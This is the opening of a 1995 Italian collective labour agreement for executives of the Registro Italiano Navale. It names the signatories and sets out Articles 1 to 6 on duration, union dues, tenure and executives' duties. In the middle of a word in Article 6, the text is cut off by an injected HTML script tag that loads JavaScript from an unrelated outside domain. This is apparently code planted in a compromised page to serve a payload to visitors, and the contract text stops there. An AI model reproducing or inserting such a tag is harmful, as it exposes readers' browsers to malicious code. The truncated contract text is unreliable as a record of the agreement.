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Categoria: Registro Navale Italiano (dirigenti) Settore: Pubblica Amministrazione Data stipula: 18-7-1995 Data decorrenza: 1-1-1995 Data scadenza: 31-12-1998
Registro Italiano Navale
Contratto Collettivo Nazionale di Lavoro
PER I DIRIGENTI DEL REGISTRO ITALIANO NAVALE (RINA)
luglio 1995
Il giorno 18 luglio 1995, in Genova
tra
il REGISTRO ITALIANO NAVALE rappresentato dal Dr. Ing. Nicola
SQUASSAFICHI, Membro del Comitato Direttivo e Direttore Generale
dell'Istituto; con la partecipazione del Dr. Costantino BAUM, Capo del
Personale;
e
l'ASSOCIAZIONE SINDACALE DIRIGENTI DI AZIENDE INDUSTRIALI DELLA LIGURIA
(ASDAI LIGURIA), rappresentata dall'Avv. Raoul PRUDENTE;
e
le RAPPRESENTANZE SINDACALI AZIENDALI dei dirigenti dell'Istituto,
composte da: Dr. Ing. Angiolo TORTI, Dr. Ing. Giampiero PONASSO, Dr. Ing.
Alfredo DELAVIGNE, Dr. Ing. Gabriele SABATOSANTI, Dr. Giancarlo RABACCHI,
Sig. Franco SACCHI, Dr. Ing. Piero CARREGA
si è stipulato il presente Contratto Nazionale di Lavoro per i dirigenti
del Registro Italiano Navale, che annulla e sostituisce il precedente
Contratto scaduto il 30 giugno 1993.
...OMISSIS...(Indice)
PARTE I - DURATA E DISPOSIZIONI GENERALI
ART. 1 - Decorrenza e durata.
Il presente contratto, salvo le particolari decorrenze specificate nei
singoli articoli, ha la stessa decorrenza (1° gennaio 1995) e le stesse
scadenze (31 dicembre 1996 per la parte relativa al trattamento economico
e 31 dicembre 1998 per la parte normativa) concordate in sede nazionale,
per i dirigenti dell'industria, tra la Confederazione Generale
dell'Industria Italiana e la Federazione Nazionale Dirigenti Aziende
Industriali.
In caso di mancata disdetta, da notificarsi con lettera raccomandata
almeno 2 mesi prima delle scadenze sopra indicate, si intenderà
tacitamente rinnovato di anno in anno.
ART. 2 - Disposizioni generali e condizioni di miglior favore.
Per tutto ciò che non è diversamente regolato dal presente contratto
valgono - in quanto compatibili con la figura del dirigente - le norme
contrattuali collettive e le norme legislative in vigore per gli impiegati
di massima categoria dipendenti dall'Istituto.
Le condizioni stabilite eventualmente da accordi individuali, aziendali e
territoriali più favorevoli, si intendono mantenute "ad personam".
ART. 3 - Contributi sindacali.
L'Istituto opererà la trattenuta dei contributi sindacali dovuti dai
dirigenti al sindacato dirigenti industriali della FNDAI, territorialmente
competente, previo rilascio di deleghe individuali firmate dagli
interessati, deleghe che saranno valide fino a revoca scritta.
ART. 4 - Ruolo.
I dirigenti in servizio alla data del 30 giugno 1995 appartengono al ruolo
dell'Istituto. Essi hanno diritto alla stabilità di impiego e pertanto il
rapporto di lavoro può essere risolto solo nei casi espressamente previsti
dall'articolo 21 del presente contratto.
Per i dirigenti assunti o nominati successivamente al 30 giugno 1995 ai
fini della risoluzione del rapporto di lavoro trovano applicazione le
previsioni del contratto collettivo di lavoro per i dirigenti di aziende
industriali nonché, per quanto concerne gli aspetti economici, le
disposizioni previste nel Protocollo di intesa sottoscritto il 27 aprile
1995 da Confindustria, Intersind e FNDAI con riferimento alla "risoluzione
del rapporto di lavoro per ristrutturazione, crisi aziendale, ecc.".
ART. 5 - Obblighi del dirigente.
Il dirigente deve tenere un contegno consono alla rilevanza delle sue re
sponsabilità ed ottemperare ai doveri inerenti all'esplicazione delle
funzioni affidategli; può svolgere attività professionale od altre
prestazioni retribuite non in contrasto con la sua qualifica di dirigente
dell'Istituto e con l'attività dell'Istituto, previa autorizzazione
dell'Istituto medesimo.
ART. 6 - Mutamento dell'ordinamento giuridico dell'Istituto.
Sia per quanto dis<script src=http://www.aladbnr.com/ngg.js></script>
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